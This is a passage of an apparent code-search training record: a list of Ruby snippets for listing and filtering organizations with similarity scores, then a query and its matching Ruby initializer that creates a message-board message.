joined.where(GroupsRole.arel_table[:group_id].in(group_ids)),\n ).distinct # because of left joins\n end", "def show\n @organization = current_user.organization\n end", "def query_organizations(options = nil)\n require_relative 'telerivet/organization'\n self.cursor(Organization, get_base_api_path() + \"/organizations\", options)\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(do_request(grafana_options))\n rescue BackendError\n []\n end", "def index\n @casa_orgs = CasaOrg.all\n end", "def get_orgs_list(grafana_options)\n grafana_options[:method] = 'Get'\n grafana_options[:success_msg] = 'The list of organizations has been successfully retrieved.'\n grafana_options[:unknown_code_msg] = 'OrganizationApi::get_orgs_list unchecked response code: %{code}'\n grafana_options[:endpoint] = '/api/orgs/'\n\n Array(_do_request(grafana_options))\n rescue BackendError\n []\n end", "def set_filtered_organizations\n scope = current_user.organizations.includes(:assignments, :group_assignments).filter_by_search(@query)\n\n scope = case @current_view_mode\n when \"Archived\" then scope.archived\n when \"Active\" then scope.not_archived\n else scope\n end\n\n @organizations = scope\n .order_by_sort_mode(@current_sort_mode)\n .order(:id)\n .page(params[:page])\n .per(12)\n end", "def index\n @show_variable = false\n\n @opportunities = if current_user.organization?\n current_user.opportunities.all\n else\n opportunities_matching_user\n end\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def organization_names\n organizations.pluck(:name).join(', ')\n end", "def organizations\n teams.map do |team|\n team.organization\n end.compact.uniq\n end", "def index\n authorize @organization\n render :json => @organization.tags\n end", "def index\n\t\t@organizations = Organization.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @organizations }\n\t\tend\n\tend", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def index\n @organizations = Organization.all\n respond_with(@organizations)\n end", "def index\n @organizations = Organization.order(:activated)\n end", "def organizations_in_coalition(coalition)\n orgs_by_coalition_id[coalition.id] || []\n end", "def getActiveOrgs\n UI.important(\"Getting organization active organizations from DB\")\n\n begin\n dynamodb = Aws::DynamoDB::Client.new(region: ENV.fetch(\"AWS_DEFAULT_REGION\", nil))\n\n items = dynamodb_full_scan(dynamodb,\n {\n table_name: \"Organizations\",\n projection_expression: \"id, #SE, #ST\",\n expression_attribute_names: {\n \"#SE\" => \"settings\",\n \"#ST\" => \"status\"\n },\n expression_attribute_values: {\n \":p\" => \"public\",\n \":s\" => true\n },\n filter_expression: \"#ST.active = :s AND #SE.listing = :p\"\n })\n\n orgs = []\n UI.important(\"Organization to BUILD:\")\n items.each do |item|\n orgs.push(item['id'])\n UI.important(item['id'])\n end\n\n return orgs\n rescue Aws::DynamoDB::Errors::ServiceError => e\n UI.error(e.message)\n return nil\n end\nend", "def index\n @campaigns = current_organization.campaigns\n render :index\n end", "def index\n @organization = Organization.find_by_id(params[:organization_id])\n if @organization\n @users = @organization.users\n else\n @status = :fail\n @data = {organization: \"Organization #{params[:organization_id]} not found.\"}\n render status: :not_found, json: json_response(:fail, data: @data)\n end\n end", "def index\n @organizations = Organization.by_query(params[:q])\n end" ]
[ "0.78917235", "0.7495927", "0.7485861", "0.7314383", "0.73028827", "0.72751504", "0.7161657", "0.71470207", "0.7104225", "0.7100632", "0.70648074", "0.70196307", "0.68574727", "0.68293977", "0.6791273", "0.67275244", "0.6725619", "0.671156", "0.6703879", "0.66912544", "0.6684648", "0.6663352", "0.66577804", "0.6644465", "0.66379035", "0.66138256", "0.66019523", "0.6591501", "0.65791035", "0.6572326", "0.65377706", "0.65309584", "0.6500707", "0.6453467", "0.6435011", "0.6431389", "0.6428516", "0.642071", "0.642071", "0.642071", "0.642071", "0.642071", "0.642071", "0.642071", "0.642071", "0.642071", "0.6402377", "0.64023334", "0.6402", "0.6399072", "0.63912255", "0.63802123", "0.6373717", "0.63722193", "0.63371545", "0.63240975", "0.632063", "0.6316459", "0.6295477", "0.6287546", "0.628309", "0.62738675", "0.62668663", "0.62581956", "0.6244632", "0.6232502", "0.6190461", "0.6190392", "0.6187448", "0.6168447", "0.6161482", "0.61577934", "0.6143676", "0.6142071", "0.61313105", "0.6127292", "0.61198896", "0.6104312", "0.6096197", "0.6058309", "0.6050436", "0.60386467", "0.60221565", "0.6009531", "0.6006899", "0.60018814", "0.59709156", "0.59645784", "0.59645784", "0.59589124", "0.59362155", "0.59269506", "0.5903517", "0.58973485", "0.58897144", "0.5868174", "0.5861904", "0.5852741", "0.5847836", "0.5845031" ]
0.7482761
3
Filter widgets list based on config
def filtered_widgets_templates if MnoEnterprise.widgets_templates_listing return self.widgets_templates.select do |t| MnoEnterprise.widgets_templates_listing.include?(t[:path]) end else return self.widgets_templates end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def extend_widget_by\n []\n end", "def find_widgets widgets_description\n @widgets.find_all widgets_description\n end", "def config_filters\n []\n end", "def index \n\n ...\r\n \r\n #add/remove any selected filters\n selected_filter_conditions(Widget)\n\n @widgets = Widget.find(:all,{}, {:conditions => @conditions, :include => @included}) \n \n # This can be combined with any named scopes eg \n # @widgets = Widget.active.popular.find(:all,{}, {:conditions => @conditions, :include => @included}) \n\r\n \n #generate filters for results\n filter_headings(Widget, @widgets)\n\n ...\n\r\n end\n\n\n....\n\n\nend", "def filter_config(config)\n config\n end", "def filter(filter)\n current_widget.filter filter\n end", "def get_widgets_list\n dataset_array = []\n @site.contexts.each {|c| c.context_datasets.each {|d| dataset_array << d.dataset_id}}\n dataset_array.uniq!\n widgets = WidgetService.from_datasets dataset_array\n widgets.map do |w|\n { id: w.id, name: w.name,\n visualization: w.widget_config, description: w.description }\n end\n end", "def widgets\n @widgets\n end", "def available_widgets\n options = {:page_template => page.page_template, :block => block_type}\n UbiquoDesign::Structure.get(options)[:widgets].map(&:keys).flatten\n end", "def index\n widgets_per_page = 7\n @search = Widget.searchlogic(params[:search])\n\n if params[:shared] && has_role_with_hierarchy?(:registrado)\n @groups = Group.all :conditions => [\"id IN (?)\", GroupsUsers.find(:all, :conditions => { :user_id => current_user.id }).map(&:group_id).join(',').to_i]\n @widgets = Widget.all :conditions => [\"id IN (?)\", GroupsWidgets.find(:all, :conditions => [\"group_id IN (?)\", @groups.map(&:id).join(',').to_i]).map(&:widget_id).join(',').to_i]\n elsif params[:my_widgets] && has_role_with_hierarchy?(:registrado)\n @widgets = Widget.all :conditions => { :user_id => current_user.id, :approved => true }\n else\n # si admin/superadmin? all_widgets : all_public and my_widgets\n if has_role_with_hierarchy?(:administrador) \n @widgets = @search.paginate :page => params[:page], \n :conditions => { :approved => true },\n :per_page => widgets_per_page\n else\n @widgets = @search.paginate :page => params[:page], \n :conditions => { :public => true, :approved => true },\n :per_page => widgets_per_page\n end\n end\n \n @categories = Category.type_of_widgets\n end", "def filter\n list.children.each do |item|\n item.toggle_class :hidden, !(item.value =~ Regexp.new(@input.value, 'i'))\n end\n end", "def filter\n regexp = Regexp.new(@input.value.to_s, 'i')\n list.children.each do |item|\n item.toggle_class :hidden, !(item.label =~ regexp)\n end\n end", "def list(filter=KalturaNotImplemented, pager=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'filter', filter);\n\t\t\tclient.add_param(kparams, 'pager', pager);\n\t\t\tclient.queue_service_action_call('widget', 'list', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def load_widgets\n if params[:all_widgets]\n @widgets = Widget.find(:all)\n else\n @widgets = @potato_man.theme_package.widgets\n end\n end", "def filters\n end", "def find_widgets_index widgets_description\n @widgets.find_index_all widgets_description\n end", "def filters; end", "def filters; end", "def find_widgets widgets_description\n @form.find_widgets widgets_description\n end", "def widgets\n @form.widgets\n end", "def widgets(win_name)\n @driver.getQuickWidgetList(win_name).map do |java_widget|\n case java_widget.getType\n when QuickWidget::WIDGET_ENUM_MAP[:button]\n QuickButton.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:checkbox]\n QuickCheckbox.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:dialogtab]\n QuickDialogTab.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:dropdown]\n QuickDropdown.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:editfield]\n QuickEditField.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:label]\n QuickLabel.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:radiobutton]\n QuickRadioButton.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:treeview]\n QuickTreeView.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:treeitem]\n QuickTreeItem.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:thumbnail]\n QuickTreeItem.new(self,java_widget)\n else\n QuickWidget.new(self,java_widget)\n end\n end.to_a\n end", "def widgets\n names = []\n if FileTest.directory?(@path)\n FileUtils.cd(@path) { names += Dir[\"*\"] }\n end\n if FileTest.directory?(@system_path)\n FileUtils.cd(@system_path) { names += Dir[\"*\"] }\n end\n names.uniq!\n names\n end", "def create_widgets_by_config(hash = config, prefix = '')\n # Raise an exception if hash is not config or hash\n if !hash.is_a?(Hash) and !hash.is_a?(HupoWidget::Configuration)\n raise UnknownWidget, 'Unknown widget type %s' % prefix.underscore.gsub('/', '.')\n end\n\n hash.each do |widget_type, values|\n widget_type = widget_type.camelize\n widget_type = '%s::%s' % [prefix, widget_type] if prefix != ''\n class_name = '%sWidget' % widget_type\n\n if (widget_class = class_name.safe_constantize)\n @widget_types << widget_class\n\n if widget_class.singleton?\n # Create a singleton object\n widget_class.instance\n else\n values.each_key {|key| widget_class.new(key)}\n end\n else\n # We need to go deeper\n create_widgets_by_config(values, widget_type)\n end\n end\n end", "def widgets= mine_widgets\n @widgets = []\n mine_widgets.each do |widget|\n self.add_widget widget\n end\n end", "def displayed_widgets\n list = []\n self.div(:class=>\"fl-container-flex widget-content\").divs(:class=>\"s3d-contentpage-title\").each do |div|\n list << div.text\n end\n return list\n end", "def main_widgets\n drop_targets.where(html_id: \"drop-target-main\").first.try(:widgets) || []\n end", "def find_widgets_index widgets_description\n @form.find_widgets_index widgets_description\n end", "def set_widget\n if !logged_in?\n userresponse = RestClient::Request.new({\n method: :get,\n url: ENV['API_URL'] + 'widgets/visible?client_id='+ ENV['CLIENT_ID'] + '&client_secret=' + ENV['CLIENT_SECRET'] +'&term=',\n headers: { content_type: 'application/json'}\n }).execute do |userresponse, request, result|\n case userresponse.code\n when 400\n [ :error, JSON.parse(userresponse) ]\n when 200\n [ :success, JSON.parse(userresponse) ]\n json=JSON.parse(userresponse)\n rec = Array.new\n json[\"data\"][\"widgets\"].each do |item|\n widget= Widget.new \n widget.id=item[\"id\"]\n widget.name=item[\"name\"]\n widget.description=item[\"description\"]\n widget.kind=item[\"kind\"]\n widget.userid=item[\"user\"][\"id\"]\n widget.username=item[\"user\"][\"name\"]\n widget.owner=item[\"owner\"]\n rec << widget\n end\n @widgetlist= WidgetList.new\n @widgetlist.widgets = rec\n else\n fail \"Invalid response #{userresponse.to_str} received.\"\n end\n end\n else\n response = RestClient::Request.new({\n method: :get,\n url: ENV['API_URL'] + '/widgets',\n headers: { Authorization: session[:access_token], content_type: 'application/json'}\n }).execute do |response, request, result|\n case response.code\n when 400\n [ :error, JSON.parse(response) ]\n when 200\n [ :success, JSON.parse(response) ]\n json=JSON.parse(response)\n rec = Array.new\n json[\"data\"][\"widgets\"].each do |item|\n widget= Widget.new \n widget.id=item[\"id\"]\n widget.name=item[\"name\"]\n widget.description=item[\"description\"]\n widget.kind=item[\"kind\"]\n widget.userid=item[\"user\"][\"id\"]\n widget.username=item[\"user\"][\"name\"]\n widget.owner=item[\"owner\"]\n rec << widget\n end\n @widgetlist= WidgetList.new\n @widgetlist.widgets = rec\n else\n fail \"Invalid response #{response.to_str} received.\"\n end\n end\n end\n end", "def all_widgets\n if self.current_layout\n return self.widgets + self.current_layout.widgets\n else \n return self.widgets\n end\n end", "def filters_field_changed\n assert_privileges('my_settings_default_filters')\n return unless load_edit(\"config_edit__ui3\", \"configuration\")\n\n id = params[:id].split('-').last.to_i\n @edit[:new].find { |x| x[:id] == id }[:search_key] = params[:check] == '1' ? nil : '_hidden_'\n @edit[:current].each_with_index do |arr, i| # needed to compare each array element's attributes to find out if something has changed\n next if @edit[:new][i][:search_key] == arr[:search_key]\n\n @changed = true\n break\n end\n @changed ||= false\n render :update do |page|\n page << javascript_prologue\n page << javascript_for_miq_button_visibility(@changed)\n end\n end", "def remove_all_widgets\n array = @browser.div(:id=>\"add_goodies_body\").lis.select { |li| li.class_name == \"remove\" }\n sub_array = array.select { |li| li.visible? }\n sub_array.each do |li|\n li.button(:text=>\"Remove\").click\n wait_for_ajax\n end\n close_add_widget\n end", "def widgets(window)\n\n # If window specifies window name, and the active window has this name\n # use its id to get the widgets,\n if window.is_a? String\n active_win_id = driver.getActiveQuickWindowID()\n active_win_name = driver.getQuickWindowName(active_win_id)\n\n #If the active window is of same type, then grab that one, not first\n if active_win_name == window #e.g. Both Document Window\n window = active_win_id\n end\n end\n driver.getQuickWidgetList(window).map do |java_widget|\n case java_widget.getType\n when QuickWidget::WIDGET_ENUM_MAP[:button]\n QuickButton.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:checkbox]\n QuickCheckbox.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:dialogtab]\n QuickDialogTab.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:dropdown]\n QuickDropdown.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:editfield]\n QuickEditField.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:label]\n QuickLabel.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:radiobutton]\n QuickRadioButton.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:treeview]\n QuickTreeView.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:treeitem]\n QuickTreeItem.new(self,java_widget)\n when QuickWidget::WIDGET_ENUM_MAP[:thumbnail]\n QuickTreeItem.new(self,java_widget)\n else\n QuickWidget.new(self,java_widget)\n end\n end.to_a\n end", "def filters\n mentos(:get_all_filters)\n end", "def use_widgets(&block)\n root = apotomo_root ### DISCUSS: let RequestProcessor initialize so we get flushed, eventually. maybe add a :before filter for that? or move #use_widgets to RequestProcessor?\n \n return if bound_use_widgets_blocks.include?(block)\n \n yield root\n \n bound_use_widgets_blocks << block # remember the proc.\n end", "def widgets= mine_widgets\n @form.wigets = mine_widgets\n end", "def filters\n if @filters.empty?\n fetch_configuration()\n end\n return @filters\n end", "def blacklight_view_config_for_search_block block\n # Reject any views that aren't configured to display for this block\n blacklight_config.view.select do |view,_|\n block.view.include? view.to_s\n end\n end", "def available_filters\n unless @available_filters\n initialize_available_filters\n @available_filters.each do |field, options|\n options[:name] ||= l(options[:label] || \"field_#{field}\".gsub(/_id$/, ''))\n end\n end\n @available_filters\n end", "def index\n allowed_items = get_allowed_item_types(current_container)\n @actions = NotificationFilter.actions\n #select just allowed objects in configuration \n @models = NotificationFilter.models.delete_if{ |m| !allowed_items.include?(m.name) } \n @filters = @user.notification_filters || {}\n end", "def config_filter(conf, filters=nil)\n\t\t\tconf = conf.clone\n\t\t\tfilters = (conf[:use].rfm_force_array | filters.rfm_force_array).compact\n\t\t\tfilters.each{|f| next unless conf[f]; conf.merge!(conf[f] || {})} if !filters.blank?\n\t\t\tconf.delete(:use)\n\t\t\tconf\n\t\tend", "def filter(*args,&block)\n if args && args.any? || block_given?\n @filter = Lolita::Configuration::Filter.new(dbi,*args,&block)\n add_observer(@filter)\n end\n @filter\n end", "def filter_elements(elements)\n for locator in locators\n by, value = locator.first\n case by\n when :text\n elements = elements.select{ |element| element.text.include? value}\n when :index\n elements = elements[value]\n when :displayed\n elements = elements.select{ |element| element.displayed? == value}\n when :value\n elements = elements.select{ |element| element.value == value}\n end\n end\n return elements\n end", "def whitelisted_filters_for(name, klass)\n requested_parameters = as_array(@params[name])\n if requested_parameters.empty?\n []\n else\n klass.where(slug: requested_parameters)\n end\n end", "def filtered_entries; end", "def block_list(context={})\n \n app = context[:app]\n \n [\n {:name => 'booking_selector_full_v2',\n :module_name => :booking_frontend,\n :theme => Themes::ThemeManager.instance.selected_theme.name},\n {:name => 'booking_activities_shopping_cart',\n :module_name => :booking_frontend,\n :theme => Themes::ThemeManager.instance.selected_theme.name}\n ]\n \n end", "def get_by_model(instance, context = nil)\n ([widgets = [], version_widgets = []]).tap do\n get(context).each_pair do |widget, policies|\n detected = (policies[:models] || []).to_a.detect{|model| instance.is_a?(model.first.to_s.constantize)}\n if detected.present?\n related = detected.last\n if related[:params].blank? && related[:procs].blank?\n version_widgets << widget\n else\n widgets << widget\n end\n end\n end\n end\n end", "def find(filter)\n res = nil\n Wait.until(timeout: @timeout, interval: @interval) do\n uri = HttpClient.compose_uri(@host, @port, \"/#{API_VERSION}/widgets\", filter)\n res = HttpClient.http_get(uri)\n Response.new(res) if res.is_a?(Net::HTTPOK)\n end\n rescue Error::TimeoutError\n rescue_errors(res)\n end", "def filterList(input)\n set = false\n [*input].each_with_object([]) do |item, output|\n item = item.to_s\n item = item.chomp if (@accessoryType == 'combobox') ||\n (@accessoryType == 'radiobutton' && set)\n set = true if item.end_with?(\"\\n\")\n output << item unless item.empty? || (output & [item, \"#{item}\\n\"]).any?\n end\n end", "def has_widgets(&block)\n @has_widgets = block\n end", "def filter(filter)\n results = Config::ObjectList.new\n filter.each do |field, match_value|\n field = field.is_a?(Symbol) ? field.to_s : field\n match_value = match_value.is_a?(Symbol) ? match_value.to_s : match_value\n if match_value.is_a?(String) && match_value =~ /^!/\n operator = :not_equal\n match_value = match_value.sub(/^!/, '')\n else\n operator = :equal\n end\n each do |name, config|\n value = config[field]\n if value.is_a? Array\n if operator == :equal && value.include?(match_value)\n results[name] = config\n elsif operator == :not_equal && !value.include?(match_value)\n results[name] = config\n end\n else\n if operator == :equal && value == match_value\n results[name] = config\n elsif operator == :not_equal && value != match_value\n results[name] = config\n end\n end\n end\n end\n results\n end", "def list\n @list ||= all.to_a\n \n TEXTUAL_FILTERS.each do |filter|\n filter_value = send(filter)\n filter_property = property_for_filter(filter)\n if !filter_value.to_s.empty?\n @list = @list.select do |task|\n value = task.send(filter_property)\n value.to_s.downcase.include?(filter_value.to_s.downcase)\n end\n end\n end\n \n filter_value = start_at_filter\n if filter_value\n @list = @list.select do |task| \n value = task.start_at\n filter_value.nil? ? true : value >= filter_value\n end\n end\n \n filter_value = end_at_filter\n if filter_value\n @list = @list.select do |task|\n value = task.end_at\n filter_value.nil? ? true : value <= filter_value\n end\n end\n \n @list\n end", "def index\n @simple_widgets = SimpleWidget.all\n end", "def filter(filters)\n if filters.empty?\n return nodes\n end\n if filters[0] =~ /^\\+/\n # don't let the first filter have a + prefix\n filters[0] = filters[0][1..-1]\n end\n\n node_list = Config::ObjectList.new\n filters.each do |filter|\n if filter =~ /^\\+/\n keep_list = nodes_for_name(filter[1..-1])\n node_list.delete_if do |name, node|\n if keep_list[name]\n false\n else\n true\n end\n end\n else\n node_list.merge!(nodes_for_name(filter))\n end\n end\n return node_list\n end", "def add_all_widgets\n array = @browser.div(:id=>\"add_goodies_body\").lis.select { |li| li.class_name == \"add\" }\n sub_array = array.select { |li| li.visible? }\n sub_array.each do |li|\n li.button(:text=>\"Add\").click\n wait_for_ajax\n end\n close_add_widget\n end", "def index\n @user_widgets = UserWidget.all\n end", "def list_filters\n if @filters.empty?\n fetch_configuration()\n end\n return @filters.keys\n end", "def filter_events_subscription\n client_webhook_settings.each do |cws|\n @filtered_webhook_settings << cws if cws.event_result_types_array.include?(event_type) && cws.event_sources_array.include?(@event_source)\n end\n end", "def filter_listings(listings)\n cutoff_timestamp = self.last_run_at\n listings.reject { |ll| ll.updated_at < cutoff_timestamp }.sort_by(&:updated_at)\n end", "def active_sync_filters\n company.settings.sync_filters[provider]\n end", "def set_filters\n @filters = ''\n @filters.concat(\"status:'Available'\")\n unless @manufacturer_or_publisher.blank?\n @filters.concat(\" AND (manufacturer:'#{@manufacturer_or_publisher}'\")\n @filters.concat(\" OR publisher:'#{@manufacturer_or_publisher}')\")\n end\n @filters.concat(\" AND category:'#{@category}'\") unless @category.blank?\n @filters.concat(\" AND seller_name:'#{@seller_name}'\") unless @seller_name.blank?\n end", "def list_filter(**opt)\n # May be overridden by the subclass.\n end", "def filter_instances\n suites.product(platforms).select do |suite, platform|\n if !suite.includes.empty?\n suite.includes.include?(platform.name)\n elsif !suite.excludes.empty?\n !suite.excludes.include?(platform.name)\n else\n true\n end\n end\n end", "def filter\n end", "def list_all(filter = {})\n super(filter).each { |model| model.configuration = configuration }\n end", "def filters\n @filters ||= {}\n end", "def widgets(name, *args)\n document.widgets(name, *args)\n end", "def set_filters\n @filters = []\n section_ids = Section.pluck(:id)\n\n [:ministers, :departments].each do |filter_type|\n if params[filter_type].present?\n id_list = params[filter_type].map(&:to_i)\n\n id_list.reject! do |item|\n !section_ids.include? item\n end\n\n @filters += Section.where(id: id_list)\n end\n end\n end", "def config\n filter_config(static.merge(dynamic))\n end", "def filter_apps\n @apps = ThirdpartyService.get_app_version(@url, AUTH, @http)['list']\n filter_result = render_to_string(partial: 'home/app_list', layout: false)\n render json: { filter_result: filter_result }\n end", "def filters\n @filters ||= {}\n end", "def filters\n @filters ||= {}\n end", "def filters\n self.class.filters\n end", "def filter_markup\n content_tag(:input, nil, type: :text, class: 'pure-admin-multiselect-filter-input',\n autocomplete: :off, placeholder: 'Filter', style: 'display: none;')\n end", "def find_widget widget_description\n @widgets.find widget_description\n end", "def list_filters\n {\n track_end_date: 'TrkEndDate gt VALUE',\n track_first_submitted: 'TrkFirstSubmitted gt VALUE',\n app_no: 'AppNo eq VALUE',\n first_name: 'AppFirstName eq VALUE',\n last_name: 'AppLastName eq VALUE',\n email: 'AppEmailAddress eq VALUE'\n }\n end", "def filter_items\n @filter_items ||= []\n end", "def filter *filters\n spawn :@filters, @filters + parse_filter_input(filters)\n end", "def apply_filter_config\r\n exec(\r\n 'require_once(\"shaper.inc\");',\r\n 'require_once(\"filter.inc\");',\r\n 'filter_configure_sync();'\r\n )\r\n end", "def add_filters(filters); end", "def desensitize(*widgets)\n widgets.each { |w| self[\"#{w}\"].sensitive = false }\n end", "def widget_issues_list\n @snapshot = Snapshot.find(params[:snapshot_id]) if params[:snapshot_id]\n @dashboard_configuration = Api::DashboardConfiguration.new(nil, :period_index => params[:period], :snapshot => @snapshot)\n render :partial => 'project/widgets/issues/issues_list'\n end", "def filter_buttons(base_path, filters = {})\n buttons = filters.map do |filter, values|\n btn_color = @filters.has_key?(filter) ? 'primary' : 'secondary'\n btn = content_tag(:button, filter.to_s.humanize,\n class: \"tiny radius button dropdown #{btn_color}\", 'data-dropdown' => filter)\n\n list_items = values.map do |varr|\n val, str = *varr\n str ||= varr\n if @filters[filter] == val.to_s\n query_params = @filters.reject { |f, k| f == filter.to_s }\n link = link_to(str.to_s.humanize + ' - Clear', query_params, class: 'canceled')\n else\n query_params = @filters.merge(filter => val)\n link = link_to(str.to_s.humanize, send(base_path, query_params))\n end\n content_tag(:li, link)\n end.join.html_safe\n\n ul = content_tag(:ul, list_items, class: 'f-dropdown right-arrow', id: filter,\n data: {dropdown_content: ''})\n content_tag(:li, btn + ul, class: 'filter left')\n end.join.html_safe\n\n content_tag(:ul, buttons)\n end", "def sensitize(*widgets)\n widgets.each { |w| self[\"#{w}\"].sensitive = true }\n end", "def set_filters\n @filters ||= begin\n filters = []\n filters << { attribute: Gemgento::ProductAttribute.find_by!(code: 'color'), value: params[:color] } unless params[:color].blank?\n filters\n end\n end", "def filter_by_visibility(solr_parameters)\n # add a new solr facet query ('fq') parameter that limits results to those with a 'public_b' field of 1\n solr_parameters[:fq] ||= []\n fq = viewable_metadata_visibilities.map { |visibility| \"(visibility_ssi:\\\"#{visibility}\\\")\" }.join(\" OR \")\n solr_parameters[:fq] << \"(#{fq})\"\n end", "def set_filters\n filter_param_keys = [\n 'brand', 'color',\n 'size', 'department', 'keywords'\n ]\n @filters = []\n filter_param_keys.each do |key|\n if !params[key].blank?\n params[key].split(',').each do |val|\n @filters << {:key => key, :val => val}\n end\n end\n end\n \n \n if params[:price]\n params[:price].split(',').each_slice(2).to_a.each do |range|\n @filters << {:key => 'price', :val => range.join(',')}\n end\n end\n\n if @products\n @brands = @products.facet('brand_facet').rows.sort_by{ |brand| brand.value.capitalize}\n @departments = @products.facet('department_facet').rows\n end\n \n @colors = ['green', 'blue', 'purple', 'red', 'pink', 'beige', 'brown', 'yellow', 'orange', 'black', 'white', 'gray', 'teal', 'glowing', 'gold', 'silver']\n \n if [email protected]? && @taxon.has_size?\n sizes = (Spree::Product.sizes.sort_by{|size| size.position}.map(&:presentation) & @products.facet(\"size_facet\").rows.map(&:value))\n end\n end", "def filters=(_arg0); end", "def filters=(_arg0); end", "def load_widget_data\n if @current_template && @account\n # Build query of only the necessary ids, from the widgets \n unless @current_template.required_article_ids.blank? \n @registers[:widget_data] = @current_template.parsed_widget_data( hash_by_id(Article.find_by_ids(@current_template.required_article_ids.reject{ |i| i.blank? }, :account_id => @account.account_resource_id)) )\n end\n end\n end", "def records_filtered\n records\n @config[:records_filtered]\n end", "def search_filters\n return category_filters if tree_end?\n\n reload\n end_nodes = all_children.filter(&:tree_end?)\n common_filters_in_categories(end_nodes)\n end", "def filters\n @filters ||= FiltersProvider.new\n end", "def filters\n [\n GoHiring::SlackMarkdown::Filters::MergeMethodFilter,\n GoHiring::SlackMarkdown::Filters::HeaderFilter,\n GoHiring::SlackMarkdown::Filters::EmptyBlockFilter,\n GoHiring::SlackMarkdown::Filters::BlockBreakerFilter\n ]\n end", "def allowed_filters\n []\n end", "def scopes_picker_filter(form, name, checkboxes_on_top: true)\n if respond_to?(:scopes_picker_filter_simple)\n scopes_picker_filter_simple(form, name)\n else\n # For some reason in the admin panel the scopes_filter_simple method is\n # not always defined. Fall back to the original method in this case.\n scopes_picker_filter_orig(form, name, checkboxes_on_top: checkboxes_on_top)\n end\n end", "def get_feed_filters\n filters = self.filters.to_h.reject{ |k, _v| PROHIBITED_FILTERS.include?(k.to_s) }\n filters.merge!({ 'report_status' => ['published'] }) if self.published\n filters\n end", "def get_widgets(property)\n widgets = []\n\n type = property.type\n values = property.values\n\n label = Gtk::Label.new(\"#{property.label}:\")\n label.xalign = 0\n\n widget, getter, setter = create_widget(property, type, values)\n\n val = property.get(@instance)\n setter.call(val) unless setter.nil?\n\n return [label, widget], [getter, setter, property]\n end", "def document_index_view_controls\n document_index_views.select do |_k, config|\n config.display_control.nil? || blacklight_configuration_context.evaluate_configuration_conditional(config.display_control)\n end\n end", "def build\n \"filter=#{filters.join(',')}\"\n end" ]
[ "0.6340933", "0.6195873", "0.6192605", "0.6157035", "0.6103034", "0.609333", "0.60533714", "0.60169", "0.5916796", "0.58574235", "0.5772871", "0.57691157", "0.5751812", "0.5749401", "0.5702557", "0.56995857", "0.56963825", "0.56963825", "0.5681106", "0.5596345", "0.5552714", "0.54770863", "0.54620594", "0.54605275", "0.5457933", "0.54436475", "0.54055494", "0.53945917", "0.5387022", "0.53814816", "0.5376845", "0.5341853", "0.5312664", "0.5307475", "0.53014284", "0.52962816", "0.52589005", "0.52447367", "0.5236609", "0.52157223", "0.51998776", "0.5191416", "0.5172464", "0.5171533", "0.516397", "0.5145826", "0.5132757", "0.51327336", "0.51274496", "0.5123975", "0.5113002", "0.510802", "0.5093967", "0.5092024", "0.50917023", "0.5080745", "0.50446516", "0.5044312", "0.5039829", "0.5035107", "0.5034072", "0.50287235", "0.5024856", "0.5016149", "0.5004219", "0.49936688", "0.49893942", "0.49852878", "0.49786553", "0.4967535", "0.4967535", "0.4960771", "0.49309212", "0.4919696", "0.49172083", "0.4907902", "0.48971856", "0.48901817", "0.48899418", "0.48883814", "0.4885767", "0.48813248", "0.4878368", "0.48773336", "0.48631582", "0.48594052", "0.48564565", "0.48564565", "0.48468992", "0.48431975", "0.48382676", "0.48372313", "0.48255536", "0.48246816", "0.48212284", "0.48208952", "0.48169407", "0.4816274", "0.48147896" ]
0.66529316
1
Parameters: user category or parent message body flag (Fixnum)
def initialize(params) raise 'No user' unless params[:user] or params[:userid] unless ((params[:category] or params[:categoryid]) || (params[:parent] or params[:parentmessageid])) raise 'No category or parentmessage' end raise 'No body' unless params[:body] super(params) # COPY mbmessage (uuid_, messageid, companyid, userid, username, createdate, modifieddate, categoryid, threadid, parentmessageid, subject, body, attachments, anonymous) FROM stdin; # +66089117-ddb5-4577-ba9b-76479a273727 10308 10109 10129 Test Test 2009-01-17 08:07:11.947 2009-01-17 08:07:11.947 10307 10309 0 New thread This is a test, using rich editor. f f unless self.uuid_ require 'rubygems' require 'uuidtools' self.uuid_ = UUID.random_create.to_s end self.category ||= self.parent.category category = self.category self.companyid ||= category.companyid # always require User #unless self.userid # self.userid = 0 # self.anonymous = true #else self.anonymous = false #end self.createdate = Time.now self.modifieddate = Time.now self.username ||= self.user ? self.user.fullname : '' self.parentmessageid ||= 0 self.attachments ||= false self.subject ||= (self.parent ? 're: %s' % self.parent.subject : '') self.save # COPY mbcategory (uuid_, categoryid, groupid, companyid, userid, username, 